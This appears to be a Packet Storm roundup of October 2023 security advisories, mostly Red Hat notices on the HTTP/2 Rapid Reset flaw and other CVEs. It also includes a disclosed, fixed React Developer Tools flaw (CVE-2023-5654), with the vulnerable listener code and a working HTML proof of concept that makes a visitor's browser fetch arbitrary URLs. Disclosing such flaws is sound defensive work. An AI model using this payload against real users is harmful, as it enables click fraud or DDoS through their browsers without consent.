Red Hat Security Advisory 2023-5956-01 - Red Hat build of OptaPlanner 8.38.0 for Quarkus 2.13.8 release and security update is now available. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5956.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat Build of OptaPlanner 8.38.0 SP2 security updateAdvisory ID:        RHSA-2023:5956-01Product:            Red Hat build of OptaPlannerAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5956Issue date:         2023-10-20Revision:           01CVE Names:          CVE-2023-44487====================================================================Summary: Red Hat build of OptaPlanner 8.38.0 for Quarkus 2.13.8 release and security update is now available.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Release of Red Hat build of OptaPlanner 8.38.0 SP2. The purpose of this text-only erratum is to inform you about the security issues fixed.Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:CVEs:CVE-2023-44487References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=rhbop&version=8.38.0.SP2

Red Hat Security Advisory 2023-5956-01

Red Hat Security Advisory 2023-5946-01 - Red Hat AMQ Broker 7.11.3 is now available from the Red Hat Customer Portal. Issues addressed include denial of service and open redirection vulnerabilities.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5946.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat AMQ Broker 7.11.3 release and security update  
Advisory ID:        RHSA-2023:5946-01  
Product:            Red Hat JBoss AMQ  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5946  
Issue date:         2023-10-19  
Revision:           01  
CVE Names:          CVE-2023-34462  
====================================================================

Summary: 

Red Hat AMQ Broker 7.11.3 is now available from the Red Hat Customer Portal.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

AMQ Broker is a high-performance messaging implementation based on ActiveMQ Artemis. It uses an asynchronous journal for fast message persistence, and supports multiple languages, protocols, and platforms.

This release of Red Hat AMQ Broker 7.11.3 includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.

Security Fix(es):

* (CVE-2023-44487) HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack)

NOTE: A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

* (CVE-2023-34462) netty: io.netty:netty-handler: SniHandler 16MB allocation

* (CVE-2023-40167) jetty: Improper validation of HTTP/1 content-length

* (CVE-2023-41080) tomcat: Open Redirect vulnerability in FORM authentication

For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-34462

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=jboss.amq.broker&version=7.11.3  
https://access.redhat.com/documentation/en-us/red_hat_amq_broker/7.11

Red Hat Security Advisory 2023-5946-01

Red Hat Security Advisory 2023-5945-01 - Red Hat AMQ Broker 7.10.4 is now available from the Red Hat Customer Portal. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5945.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat AMQ Broker 7.10.4 release and security updateAdvisory ID:        RHSA-2023:5945-01Product:            Red Hat JBoss AMQAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5945Issue date:         2023-10-19Revision:           01CVE Names:          CVE-2023-44487====================================================================Summary: Red Hat AMQ Broker 7.10.4 is now available from the Red Hat Customer Portal.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:AMQ Broker is a high-performance messaging implementation based on ActiveMQ Artemis. It uses an asynchronous journal for fast message persistence, and supports multiple languages, protocols, and platforms.This release of Red Hat AMQ Broker 7.10.4 includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.Security Fix(es):* (CVE-2023-44487) HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack)For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44487References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/jbossnetwork/restricted/listSoftware.html?downloadType=distributions&product=jboss.amq.broker&version=7.10.4https://access.redhat.com/documentation/en-us/red_hat_amq_broker/7.10

Red Hat Security Advisory 2023-5945-01

Red Hat Security Advisory 2023-5935-01 - An update for osp-director-agent-container, osp-director-downloader-container, osp-director-operator-bundle-container, and osp-director-operator-container is now available for Red Hat OpenStack Platform 16.2.5. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5935.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat OpenStack Platform 16.2.5 security update  
Advisory ID:        RHSA-2023:5935-01  
Product:            Red Hat OpenStack Platform  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5935  
Issue date:         2023-10-19  
Revision:           01  
CVE Names:          CVE-2022-41724  
====================================================================

Summary: 

An update for osp-director-agent-container, osp-director-downloader-container, osp-director-operator-bundle-container, and osp-director-operator-container is now available for Red Hat OpenStack Platform 16.2.5.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* golang: crypto/tls: large handshake records may cause panics (CVE-2022-41724)

* golang: net/http, mime/multipart: denial of service from excessive resource consumption (CVE-2022-41725)

* golang: crypto/internal/nistec: specific unreduced P-256 scalars produce incorrect results (CVE-2023-24532)

* golang: net/http: insufficient sanitization of Host header (CVE-2023-29406)

* golang: crypto/tls: slow verification of certificate chains containing large RSA keys (CVE-2023-29409)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-41724

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5935-01

Red Hat Security Advisory 2023-5931-01 - Updated Satellite 6.13 packages that fixes Important security bugs and several regular bugs are now available for Red Hat Satellite. Issues addressed include code execution and denial of service vulnerabilities.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5931.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Satellite 6.13.5 Async Security Update  
Advisory ID:        RHSA-2023:5931-01  
Product:            Red Hat Satellite 6  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5931  
Issue date:         2023-10-19  
Revision:           01  
CVE Names:          CVE-2022-1292  
====================================================================

Summary: 

Updated Satellite 6.13 packages that fixes Important security bugs and several regular bugs are now available for Red Hat Satellite.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat Satellite is a system management solution that allows organizations to configure and maintain their systems without the necessity to provide public Internet access to their servers or other client systems. It performs provisioning and configuration management of predefined standard operating environments.

Security fix(es):

* Yggdrasil-worker-forwarder (gRPC): Rapid Reset Attack through HTTP/2 enabled web service which leads to DDoS attack (CVE-2023-44487 & CVE-2023-39325)

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

* Foreman: OS command injection via ct_command and fcct_command (CVE-2022-3874)

* Foreman: Arbitrary code execution through yaml global parameters (CVE-2023-0462)

* GitPython: Remote code execution and improper input validation vulnerability (CVE-2022-24439 & CVE-2023-40267)

* Ruby-git & tfm-rubygem-git: Code injection vulnerability (CVE-2022-47318 & CVE-2022-46648)

* Python-django: Multiple flaws (CVE-2023-31047 & CVE-2023-36053)

* Puppet-agent (openssl): Multiple flaws (CVE-2022-1292 CVE-2022-2068)

This update fixes the following bugs:

2238346 - Red Hat supported provisioning templates are not recognized by RH icon on the row for a given template  
2238348 - when creating a backup on rhel7 and restoring on rhel8, the restore process will fail with permission issues  
2238350 - Virtual machine goes in re-provisioning mode while registration host using Global registration template.  
2238359 - Capsule redundantly synces *-Export-Library repos  
2238361 - Can't update the redhat_repository_url without changing the cdn_configuration to custom_cdn  
2238363 - katello-certs-check does not cause the installer to halt execution on failure  
2238367 - Satellite Web UI >> Hosts >> All Hosts page loading slow even after power isn't selected from the new option \"Manage columns\".  
2238369 - Content-export incremental with syncable format based does not include productid file into repodata directory  
2238371 - SELinux is preventing pulpcore-worker from read access on the key labeled pulpcore_server_t  
2239041 - Reclaim space for repository fails with Cannot delete some instances of model 'Artifact' because they are referenced through protected foreign keys: 'ContentArtifact.artifact'.\"  
2238353 - The \"hammer export\" command using single thread encryption causes a performance bottleneck.  
2240781 - Remediation from CRC via Satellite shows \"Failed\" status even after successful remediation of Insights recommendations.   
2241914 - \"NoMethodError: undefined method `fact_values'\" while trying to perform inventory upload

Users of Red Hat Satellite are advised to upgrade to these updated packages, which fix these bugs.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-1292

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/documentation/en-us/red_hat_satellite/6.13/html/upgrading_and_updating_red_hat_satellite/index  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5931-01

Red Hat Security Advisory 2023-5930-01 - An update for varnish is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5930.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: varnish security updateAdvisory ID:        RHSA-2023:5930-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5930Issue date:         2023-10-19Revision:           01CVE Names:          CVE-2023-44487====================================================================Summary: An update for varnish is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Varnish Cache is a high-performance HTTP accelerator. It stores web pages in memory so web servers don't have to create the same web page over and over again, giving the website a significant speed up.Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44487References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5930-01

Red Hat Security Advisory 2023-5929-01 - An update for tomcat is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5929.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tomcat security updateAdvisory ID:        RHSA-2023:5929-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5929Issue date:         2023-10-19Revision:           01CVE Names:          CVE-2023-44487====================================================================Summary: An update for tomcat is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Apache Tomcat is a servlet container for the Java Servlet and JavaServer Pages (JSP) technologies.Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44487References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5929-01

The React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.

**Disclosure Status**

I have disclosed this to the maintainer, who issued a fix in version 4.28.4

**Commits**

https://github.com/facebook/react/commit/94d5b5b2bf5204ebd289a113989c0e2c51b626ef https://github.com/facebook/react/pull/27417/commits/c4db7be6b050fd36e3d7e1218d31d6b61f6b007d

**Technical Details:**

The React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.

Because the content of the response is not returned to the malicious webpage, the impact of this issue is limited, i.e, sensitive resources available only to the victim cannot be retrieved. However, this could be used to generate clicks, and therefore revenue, for malicious actors, or be used along with other browsers for a Distributed Denial of Service (DDoS) without the victims’ knowledge or consent.

The code snippet below (shortened for brevity) shows the message listener code from the Content Script extracting the URL from the potentially tainted message received, then using the arbitrary URL directly in a fetch call shortly after.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type \=== 'fetch-file-with-cache') {
        const url \= data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response \=> {
            if (response.ok) {
              response
                .text()
                .then(text \=> resolve(text))
                .catch(error \=> reject(null));
            } else {
              reject(null);
            }
          },
          error \=> reject(null),
        );
      }
      break;
    ...

**PoC**

In the proof-of-concept React application below, the standard postMessage() API is used to send a crafted message to trigger the above switch statement when a button is clicked. Note the source attribute in the message is react-devtools-extension and the type is fetch-file-with-cache.

<!DOCTYPE html\>
<html\>
<head\>
  <script src\="https://unpkg.com/react@18/umd/react.development.js" crossorigin\></script\>
  <script src\="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin\></script\>
  <script src\="https://unpkg.com/@babel/standalone/babel.min.js"\></script\>
</head\>
<body\>

<div id\="mydiv"\></div\>

<script type\="text/babel"\>
  function Hello() {
    return <h1\>Hello World!</h1\>;
  }

  const container \= document.getElementById('mydiv');
  const root \= ReactDOM.createRoot(container);
  root.render(<Hello /\>)
</script\>

<script\>
  function sendBrowserMsg() {
    let msg \= {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.google.com'
      }
    }
    console.log(\`Sending msg from browser: ${JSON.stringify(msg)}\`);
    postMessage(msg, "\*");
  }
</script\>

<form\>
  <button type\="button" id\="submit" onClick\="sendBrowserMsg()"\>Go!</button\>
</form\>

</body\>
</html\>

In reality, it’s likely that the malicious web page would automatically send messages to the extension without the need for user interaction.

CVE-2023-5654: React Developer Tools v4.27.8 Arbitrary URL Fetch via Malicious Web Page

Red Hat Security Advisory 2023-5869-01 - An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5869.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: nodejs:18 security update  
Advisory ID:        RHSA-2023:5869-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5869  
Issue date:         2023-10-18  
Revision:           01  
CVE Names:          CVE-2023-38552  
====================================================================

Summary: 

An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. 

Security Fix(es):

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

* nodejs: integrity checks according to policies can be circumvented (CVE-2023-38552)

* nodejs: code injection via WebAssembly export names (CVE-2023-39333)

* node-undici: cookie leakage (CVE-2023-45143)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-38552

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5869-01

Red Hat Security Advisory 2023-5867-01 - An update for grafana is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5867.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5867-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5867Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Tag

#ddos